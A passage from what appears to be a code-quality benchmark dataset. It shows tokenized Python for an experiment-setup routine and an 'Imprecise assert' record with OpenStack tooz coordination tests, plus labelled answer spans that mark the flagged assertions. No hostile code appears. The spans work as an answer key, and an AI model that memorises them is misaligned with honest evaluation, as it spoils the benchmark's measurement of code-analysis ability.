"\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "'{}'_", ",_", "False_", ",_", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "assign", " ", "uid", " ", "to", " ", "each", " ", "algo", "rit", "hm", " ", "and", " ", "save", " ", "it_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "algorithm_", "in_", "alg", "\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alg", "\\u", "id_", "=_", "algorithm_", "[_", "'", "alg", "\\u", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alg", "\\u", "uid_", "=_", "utils_", "._", "get", "New", "UID_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "algorithm_", "[_", "'", "alg", "\\u", "uid", "'_", "]_", "=_", "alg", "\\u", "uid_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "db_", "._", "set_", "(_", "app", "\\u", "id_", "+_", "':", "algo", "rit", "hms", "'_", ",_", "alg", "\\u", "uid_", ",_", "'", "alg", "\\u", "id", "'_", ",_", "alg", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "set_", "(_", "app", "\\u", "id_", "+_", "':", "algo", "rit", "hms", "'_", ",_", "alg", "\\u", "uid_", ",_", "'", "alg", "\\u", "uid", "'_", ",_", "alg", "\\u", "uid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "set_", "(_", "app", "\\u", "id_", "+_", "':", "algo", "rit", "hms", "'_", ",_", "alg", "\\u", "uid_", ",_", "'", "exp", "\\u", "uid", "'_", ",_", "exp", "\\u", "uid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "db_", "._", "set_", "(_", "app", "\\u", "id_", "+_", "':", "experiment", "s", "'_", ",_", "exp", "\\u", "uid_", ",_", "'", "exp", "\\u", "uid", "'_", ",_", "exp", "\\u", "uid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "set_", "(_", "app", "\\u", "id_", "+_", "':", "experiment", "s", "'_", ",_", "exp", "\\u", "uid_", ",_", "'", "app", "\\u", "id", "'_", ",_", "app", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "set_", "(_", "app", "\\u", "id_", "+_", "':", "experiment", "s", "'_", ",_", "exp", "\\u", "uid_", ",_", "'", "n", "'_", ",_", "n_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "set_", "(_", "app", "\\u", "id_", "+_", "':", "experiment", "s", "'_", ",_", "exp", "\\u", "uid_", ",_", "'", "d", "'_", ",_", "d_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "set_", "(_", "app", "\\u", "id_", "+_", "':", "experiment", "s", "'_", ",_", "exp", "\\u", "uid_", ",_", "'", "fail", "ure", "\\u", "probabilit", "y", "'_", ",_", "delta_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "set_", "(_", "app", "\\u", "id_", "+_", "':", "experiment", "s", "'_", ",_", "exp", "\\u", "uid_", ",_", "'", "alg", "\\u", "list", "'_", ",_", "alg", "\\u", "list_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "set_", "(_", "app", "\\u", "id_", "+_", "':", "experiment", "s", "'_", ",_", "exp", "\\u", "uid_", ",_", "'", "algo", "rit", "hm", "\\u", "manage", "ment", "\\u", "settings", "'_", ",_", "algo", "rit", "hm", "\\u", "manage", "ment", "\\u", "settings_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "set_", "(_", "app", "\\u", "id_", "+_", "':", "experiment", "s", "'_", ",_", "exp", "\\u", "uid_", ",_", "'", "participa", "nt", "\\u", "to", "\\u", "algo", "rit", "hm", "\\u", "manage", "ment", "'_", ",_", "participa", "nt", "\\u", "to", "\\u", "algo", "rit", "hm", "\\u", "management_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "set_", "(_", "app", "\\u", "id_", "+_", "':", "experiment", "s", "'_", ",_", "exp", "\\u", "uid_", ",_", "'", "instruct", "ion", "s", "'_", ",_", "instructions_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "set_", "(_", "app", "\\u", "id_", "+_", "':", "experiment", "s", "'_", ",_", "exp", "\\u", "uid_", ",_", "'", "deb", "rie", "f", "'_", ",_", "deb", "rie", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "set_", "(_", "app", "\\u", "id_", "+_", "':", "experiment", "s", "'_", ",_", "exp", "\\u", "uid_", ",_", "'", "num", "\\u", "trie", "s", "'_", ",_", "num", "\\u", "tries_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "db_", "._", "set_", "(_", "app", "\\u", "id_", "+_", "':", "experiment", "s", "'_", ",_", "exp", "\\u", "uid_", ",_", "'", "git", "\\u", "hash", "'_", ",_", "git", "\\u", "hash_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "now", " ", "create", " ", "inti", "tial", "ize", " ", "each", " ", "algorithm_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "algorithm_", "in_", "alg", "\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alg", "\\u", "id_", "=_", "algorithm_", "[_", "'", "alg", "\\u", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alg", "\\u", "uid_", "=_", "algorithm_", "[_", "'", "alg", "\\u", "uid", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "params_", "=_", "algorithm_", "._", "get_", "(_", "'", "params", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get", " ", "sand", "box", "ed", " ", "databa", "se", " ", "for", " ", "the", " ", "specific", " ", "app", "\\u", "id", ",", "alg", "\\u", "uid", ",", "exp", "\\u", "uid", " ", "-", " ", "clos", "ing", " ", "off", " ", "the", " ", "rest", " ", "of", " ", "the", " ", "databa", "se", " ", "to", " ", "the", " ", "algorithm_", "\\u\\u\\uNL\\u\\u\\u_", "rc_", "=_", "Reso", "urc", "e", "Client_", "(_", "app", "\\u", "id_", ",_", "exp", "\\u", "uid_", ",_", "alg", "\\u", "uid_", ",_", "db_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get", " ", "specific", " ", "algo", "rit", "hm", " ", "to", " ", "make", " ", "calls", " ", "to", " _", "\\u\\u\\uNL\\u\\u\\u_", "alg_", "=_", "utils_", "._", "get", "\\u", "app", "\\u", "alg_", "(_", "self_", "._", "app", "\\u", "id_", ",_", "alg", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "call", " ", "init", "Exp_", "\\u\\u\\uNL\\u\\u\\u_", "did", "Succeed", "_", ",_", "dt_", "=_", "utils_", "._", "timeit_", "(_", "alg_", "._", "init", "Exp_", ")_", "(_", "resource_", "=_", "rc_", ",_", "n_", "=_", "n_", ",_", "d_", "=_", "d_", ",_", "fail", "ure", "\\u", "probability_", "=_", "delta_", ",_", "params_", "=_", "params_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log", "\\u", "entry_", "=_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", ",_", "'", "alg", "\\u", "uid", "'_", ":_", "alg", "\\u", "uid_", ",_", "'", "task", "'_", ":_", "'", "init", "Exp", "'_", ",_", "'", "duration", "'_", ":_", "dt_", ",_", "'", "timestamp", "'_", ":_", "utils_", "._", "datetime", "Now_", "(_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ell_", "._", "log_", "(_", "app", "\\u", "id_", "+_", "':", "AL", "G", "-", "DURATION", "'_", ",_", "log", "\\u", "entry_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "response", "\\u", "json_", "=_", "'{}'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log", "\\u", "entry_", "=_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", ",_", "'", "task", "'_", ":_", "'", "init", "Exp", "'_", ",_", "'", "json", "'_", ":_", "response", "\\u", "json_", ",_", "'", "timestamp", "'_", ":_", "utils_", "._", "datetime", "Now_", "(_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ell_", "._", "log_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "RESPONSE", "'_", ",_", "log", "\\u", "entry_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "response", "\\u", "json_", ",_", "True_", ",_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", ",_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error_", "=_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log", "\\u", "entry_", "=_", "{_", "'", "exp", "\\u", "uid", "'_", ":_", "exp", "\\u", "uid_", ",_", "'", "task", "'_", ":_", "'", "init", "Exp", "'_", ",_", "'", "error", "'_", ":_", "error_", ",_", "'", "timestamp", "'_", ":_", "utils_", "._", "datetime", "Now_", "(_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "log", "\\u", "entry_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ell_", "._", "log_", "(_", "app", "\\u", "id_", "+_", "':", "APP", "-", "EXCEPTION", "'_", ",_", "log", "\\u", "entry_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "'{}'_", ",_", "False_", ",_", "error_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Imprecise assert
openstack/tooz/tooz/tests/test_coordination.py
[ { "content": " def test_create_group(self):\n self._coord.create_group(self.group_id).get()\n all_group_ids = self._coord.get_groups().get()\n self.assertTrue(self.group_id in all_group_ids)", "metadata": "root.TestAPI.test_create_group", "header": "['class', 'TestAPI', '(', 'testscenarios', '.', 'TestWithScenarios', ',', '___NL___', 'tests', '.', 'TestCaseSkipNotImplemented', ')', ':', '___EOS___']", "index": 102 }, { "content": " def test_get_groups(self):\n groups_ids = [self._get_random_uuid() for _ in range(0, 5)]\n for group_id in groups_ids:\n self._coord.create_group(group_id).get()\n created_groups = self._coord.get_groups().get()\n for group_id in groups_ids:\n self.assertTrue(group_id in created_groups)", "metadata": "root.TestAPI.test_get_groups", "header": "['class', 'TestAPI', '(', 'testscenarios', '.', 'TestWithScenarios', ',', '___NL___', 'tests', '.', 'TestCaseSkipNotImplemented', ')', ':', '___EOS___']", "index": 134 }, { "content": " def test_delete_group(self):\n self._coord.create_group(self.group_id).get()\n all_group_ids = self._coord.get_groups().get()\n self.assertTrue(self.group_id in all_group_ids)\n self._coord.delete_group(self.group_id).get()\n all_group_ids = self._coord.get_groups().get()\n self.assertFalse(self.group_id in all_group_ids)\n join_group = self._coord.join_group(self.group_id)\n self.assertRaises(tooz.coordination.GroupNotCreated,\n join_group.get)", "metadata": "root.TestAPI.test_delete_group", "header": "['class', 'TestAPI', '(', 'testscenarios', '.', 'TestWithScenarios', ',', '___NL___', 'tests', '.', 'TestCaseSkipNotImplemented', ')', ':', '___EOS___']", "index": 142 }, { "content": " def test_join_group(self):\n self._coord.create_group(self.group_id).get()\n self._coord.join_group(self.group_id).get()\n member_list = self._coord.get_members(self.group_id).get()\n self.assertTrue(self.member_id in member_list)", "metadata": "root.TestAPI.test_join_group", "header": "['class', 'TestAPI', '(', 'testscenarios', '.', 'TestWithScenarios', ',', '___NL___', 'tests', '.', 'TestCaseSkipNotImplemented', ')', ':', '___EOS___']", "index": 167 }, { "content": " def test_leave_group(self):\n self._coord.create_group(self.group_id).get()\n all_group_ids = self._coord.get_groups().get()\n self.assertTrue(self.group_id in all_group_ids)\n self._coord.join_group(self.group_id).get()\n member_list = self._coord.get_members(self.group_id).get()\n self.assertTrue(self.member_id in member_list)\n member_ids = self._coord.get_members(self.group_id).get()\n self.assertTrue(self.member_id in member_ids)\n self._coord.leave_group(self.group_id).get()\n new_member_objects = self._coord.get_members(self.group_id).get()\n new_member_list = [member.member_id for member in new_member_objects]\n self.assertTrue(self.member_id not in new_member_list)", "metadata": "root.TestAPI.test_leave_group", "header": "['class', 'TestAPI', '(', 'testscenarios', '.', 'TestWithScenarios', ',', '___NL___', 'tests', '.', 'TestCaseSkipNotImplemented', ')', ':', '___EOS___']", "index": 188 }, { "content": " def test_leave_nonexistent_group(self):\n all_group_ids = self._coord.get_groups().get()\n self.assertTrue(self.group_id not in all_group_ids)\n leave_group = self._coord.leave_group(self.group_id)\n # Drivers raise one of those depending on their capability\n self.assertRaisesAny([tooz.coordination.MemberNotJoined,\n tooz.coordination.GroupNotCreated],\n leave_group.get)", "metadata": "root.TestAPI.test_leave_nonexistent_group", "header": "['class', 'TestAPI', '(', 'testscenarios', '.', 'TestWithScenarios', ',', '___NL___', 'tests', '.', 'TestCaseSkipNotImplemented', ')', ':', '___EOS___']", "index": 202 }, { "content": " def test_leave_group_not_joined_by_member(self):\n self._coord.create_group(self.group_id).get()\n all_group_ids = self._coord.get_groups().get()\n self.assertTrue(self.group_id in all_group_ids)\n leave_group = self._coord.leave_group(self.group_id)\n self.assertRaises(tooz.coordination.MemberNotJoined,\n leave_group.get)", "metadata": "root.TestAPI.test_leave_group_not_joined_by_member", "header": "['class', 'TestAPI', '(', 'testscenarios', '.', 'TestWithScenarios', ',', '___NL___', 'tests', '.', 'TestCaseSkipNotImplemented', ')', ':', '___EOS___']", "index": 211 }, { "content": " def test_get_members(self):\n group_id_test2 = self._get_random_uuid()\n member_id_test2 = self._get_random_uuid()\n client2 = tooz.coordination.get_coordinator(self.url,\n member_id_test2)\n client2.start()\n\n self._coord.create_group(group_id_test2).get()\n self._coord.join_group(group_id_test2).get()\n client2.join_group(group_id_test2).get()\n members_ids = self._coord.get_members(group_id_test2).get()\n self.assertTrue(self.member_id in members_ids)\n self.assertTrue(member_id_test2 in members_ids)", "metadata": "root.TestAPI.test_get_members", "header": "['class', 'TestAPI', '(', 'testscenarios', '.', 'TestWithScenarios', ',', '___NL___', 'tests', '.', 'TestCaseSkipNotImplemented', ')', ':', '___EOS___']", "index": 229 }, { "content": " def test_disconnect_leave_group(self):\n member_id_test2 = self._get_random_uuid()\n client2 = tooz.coordination.get_coordinator(self.url,\n member_id_test2)\n client2.start()\n self._coord.create_group(self.group_id).get()\n self._coord.join_group(self.group_id).get()\n client2.join_group(self.group_id).get()\n members_ids = self._coord.get_members(self.group_id).get()\n self.assertTrue(self.member_id in members_ids)\n self.assertTrue(member_id_test2 in members_ids)\n client2.stop()\n members_ids = self._coord.get_members(self.group_id).get()\n self.assertTrue(self.member_id in members_ids)\n self.assertTrue(member_id_test2 not in members_ids)", "metadata": "root.TestAPI.test_disconnect_leave_group", "header": "['class', 'TestAPI', '(', 'testscenarios', '.', 'TestWithScenarios', ',', '___NL___', 'tests', '.', 'TestCaseSkipNotImplemented', ')', ':', '___EOS___']", "index": 341 }, { "content": " def test_timeout(self):\n if not getattr(self, \"timeout_capable\", False):\n self.skipTest(\"This test only works with timeout capable drivers\")\n member_id_test2 = self._get_random_uuid()\n client2 = tooz.coordination.get_coordinator(self.url,\n member_id_test2)\n client2.start()\n self._coord.create_group(self.group_id).get()\n self._coord.join_group(self.group_id).get()\n client2.join_group(self.group_id).get()\n members_ids = self._coord.get_members(self.group_id).get()\n self.assertTrue(self.member_id in members_ids)\n self.assertTrue(member_id_test2 in members_ids)\n\n # Watch the group, we want to be sure that when client2 is kicked out\n # we get an event.\n self._coord.watch_leave_group(self.group_id, self._set_event)\n\n time.sleep(3)\n self._coord.heartbeat()\n time.sleep(3)\n\n # Now client2 has timed out!\n\n members_ids = self._coord.get_members(self.group_id).get()\n while True:\n if self._coord.run_watchers():\n break\n self.assertTrue(self.member_id in members_ids)\n self.assertTrue(member_id_test2 not in members_ids)\n # Check that the event has been triggered\n self.assertIsInstance(self.event,\n tooz.coordination.MemberLeftGroup)\n self.assertEqual(member_id_test2,\n self.event.member_id)\n self.assertEqual(self.group_id,\n self.event.group_id)", "metadata": "root.TestAPI.test_timeout", "header": "['class', 'TestAPI', '(', 'testscenarios', '.', 'TestWithScenarios', ',', '___NL___', 'tests', '.', 'TestCaseSkipNotImplemented', ')', ':', '___EOS___']", "index": 357 }, { "content": " def test_watch_group_join(self):\n member_id_test2 = self._get_random_uuid()\n client2 = tooz.coordination.get_coordinator(self.url,\n member_id_test2)\n client2.start()\n self._coord.create_group(self.group_id).get()\n\n # Watch the group\n self._coord.watch_join_group(self.group_id, self._set_event)\n\n # Join the group\n client2.join_group(self.group_id).get()\n members_ids = self._coord.get_members(self.group_id).get()\n self.assertTrue(member_id_test2 in members_ids)\n while True:\n if self._coord.run_watchers():\n break\n self.assertIsInstance(self.event,\n tooz.coordination.MemberJoinedGroup)\n self.assertEqual(member_id_test2,\n self.event.member_id)\n self.assertEqual(self.group_id,\n self.event.group_id)\n\n # Stop watching\n self._coord.unwatch_join_group(self.group_id, self._set_event)\n self.event = None\n\n # Leave and rejoin group\n client2.leave_group(self.group_id).get()\n client2.join_group(self.group_id).get()\n self._coord.run_watchers()\n self.assertIsNone(self.event)", "metadata": "root.TestAPI.test_watch_group_join", "header": "['class', 'TestAPI', '(', 'testscenarios', '.', 'TestWithScenarios', ',', '___NL___', 'tests', '.', 'TestCaseSkipNotImplemented', ')', ':', '___EOS___']", "index": 399 } ]
[ { "span": "self.assertTrue(self.group_id in all_group_ids)", "start_line": 105, "start_column": 8, "end_line": 105, "end_column": 55 }, { "span": "self.assertTrue(group_id in created_groups)", "start_line": 140, "start_column": 12, "end_line": 140, "end_column": 55 }, { "span": "self.assertTrue(self.group_id in all_group_ids)", "start_line": 145, "start_column": 8, "end_line": 145, "end_column": 55 }, { "span": "self.assertFalse(self.group_id in all_group_ids)", "start_line": 148, "start_column": 8, "end_line": 148, "end_column": 56 }, { "span": "self.assertTrue(self.member_id in member_list)", "start_line": 171, "start_column": 8, "end_line": 171, "end_column": 54 }, { "span": "self.assertTrue(self.group_id in all_group_ids)", "start_line": 191, "start_column": 8, "end_line": 191, "end_column": 55 }, { "span": "self.assertTrue(self.member_id in member_list)", "start_line": 194, "start_column": 8, "end_line": 194, "end_column": 54 }, { "span": "self.assertTrue(self.member_id in member_ids)", "start_line": 196, "start_column": 8, "end_line": 196, "end_column": 53 }, { "span": "self.assertTrue(self.member_id not in new_member_list)", "start_line": 200, "start_column": 8, "end_line": 200, "end_column": 62 }, { "span": "self.assertTrue(self.group_id not in all_group_ids)", "start_line": 204, "start_column": 8, "end_line": 204, "end_column": 59 }, { "span": "self.assertTrue(self.group_id in all_group_ids)", "start_line": 214, "start_column": 8, "end_line": 214, "end_column": 55 }, { "span": "self.assertTrue(self.member_id in members_ids)", "start_line": 240, "start_column": 8, "end_line": 240, "end_column": 54 }, { "span": "self.assertTrue(member_id_test2 in members_ids)", "start_line": 241, "start_column": 8, "end_line": 241, "end_column": 55 }, { "span": "self.assertTrue(self.member_id in members_ids)", "start_line": 350, "start_column": 8, "end_line": 350, "end_column": 54 }, { "span": "self.assertTrue(member_id_test2 in members_ids)", "start_line": 351, "start_column": 8, "end_line": 351, "end_column": 55 }, { "span": "self.assertTrue(self.member_id in members_ids)", "start_line": 354, "start_column": 8, "end_line": 354, "end_column": 54 }, { "span": "self.assertTrue(member_id_test2 not in members_ids)", "start_line": 355, "start_column": 8, "end_line": 355, "end_column": 59 }, { "span": "self.assertTrue(self.member_id in members_ids)", "start_line": 368, "start_column": 8, "end_line": 368, "end_column": 54 }, { "span": "self.assertTrue(member_id_test2 in members_ids)", "start_line": 369, "start_column": 8, "end_line": 369, "end_column": 55 }, { "span": "self.assertTrue(self.member_id in members_ids)", "start_line": 385, "start_column": 8, "end_line": 385, "end_column": 54 }, { "span": "self.assertTrue(member_id_test2 not in members_ids)", "start_line": 386, "start_column": 8, "end_line": 386, "end_column": 59 }, { "span": "self.assertTrue(member_id_test2 in members_ids)", "start_line": 412, "start_column": 8, "end_line": 412, "end_column": 55 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Test", "API_", "(_", "tests", "cen", "ario", "s_", "._", "Test", "With", "Scen", "ario", "s_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "tests_", "._", "Test", "Case", "Ski", "p", "Not", "Implemented_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "create", "\\u", "group_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "coord_", "._", "create", "\\u", "group_", "(_", "self_", "._", "group", "\\u", "id_", ")_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "all", "\\u", "group", "\\u", "ids_", "=_", "self_", "._", "\\u", "coord_", "._", "get", "\\u", "groups_", "(_", ")_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "self_", "._", "group", "\\u", "id_", "in_", "all", "\\u", "group", "\\u", "ids_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "API_", "(_", "tests", "cen", "ario", "s_", "._", "Test", "With", "Scen", "ario", "s_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "tests_", "._", "Test", "Case", "Ski", "p", "Not", "Implemented_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "groups_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "group", "s", "\\u", "ids_", "=_", "[_", "self_", "._", "\\u", "get", "\\u", "random", "\\u", "uuid_", "(_", ")_", "for_", "\\u_", "in_", "range_", "(_", "0_", ",_", "5_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "group", "\\u", "id_", "in_", "group", "s", "\\u", "ids_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "coord_", "._", "create", "\\u", "group_", "(_", "group", "\\u", "id_", ")_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "created", "\\u", "groups_", "=_", "self_", "._", "\\u", "coord_", "._", "get", "\\u", "groups_", "(_", ")_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "group", "\\u", "id_", "in_", "group", "s", "\\u", "ids_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "group", "\\u", "id_", "in_", "created", "\\u", "groups_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "API_", "(_", "tests", "cen", "ario", "s_", "._", "Test", "With", "Scen", "ario", "s_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "tests_", "._", "Test", "Case", "Ski", "p", "Not", "Implemented_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "delete", "\\u", "group_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "coord_", "._", "create", "\\u", "group_", "(_", "self_", "._", "group", "\\u", "id_", ")_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "all", "\\u", "group", "\\u", "ids_", "=_", "self_", "._", "\\u", "coord_", "._", "get", "\\u", "groups_", "(_", ")_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "self_", "._", "group", "\\u", "id_", "in_", "all", "\\u", "group", "\\u", "ids_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "coord_", "._", "delete", "\\u", "group_", "(_", "self_", "._", "group", "\\u", "id_", ")_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "all", "\\u", "group", "\\u", "ids_", "=_", "self_", "._", "\\u", "coord_", "._", "get", "\\u", "groups_", "(_", ")_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "self_", "._", "group", "\\u", "id_", "in_", "all", "\\u", "group", "\\u", "ids_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "join", "\\u", "group_", "=_", "self_", "._", "\\u", "coord_", "._", "join", "\\u", "group_", "(_", "self_", "._", "group", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "too", "z_", "._", "coordin", "ation_", "._", "Group", "Not", "Created_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "join", "\\u", "group_", "._", "get_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "API_", "(_", "tests", "cen", "ario", "s_", "._", "Test", "With", "Scen", "ario", "s_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "tests_", "._", "Test", "Case", "Ski", "p", "Not", "Implemented_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "join", "\\u", "group_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "coord_", "._", "create", "\\u", "group_", "(_", "self_", "._", "group", "\\u", "id_", ")_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "coord_", "._", "join", "\\u", "group_", "(_", "self_", "._", "group", "\\u", "id_", ")_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "member", "\\u", "list_", "=_", "self_", "._", "\\u", "coord_", "._", "get", "\\u", "members_", "(_", "self_", "._", "group", "\\u", "id_", ")_", "._", "get_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "self_", "._", "member", "\\u", "id_", "in_", "member", "\\u", "list_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "API_", "(_", "tests", "cen", "ario", "s_", "._", "Test", "With", "Scen", "ario", "s_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "tests_", "._", "Test", "Case", "Ski", "p", "Not", "Implemented_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "lea", "ve", "\\u", "group_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 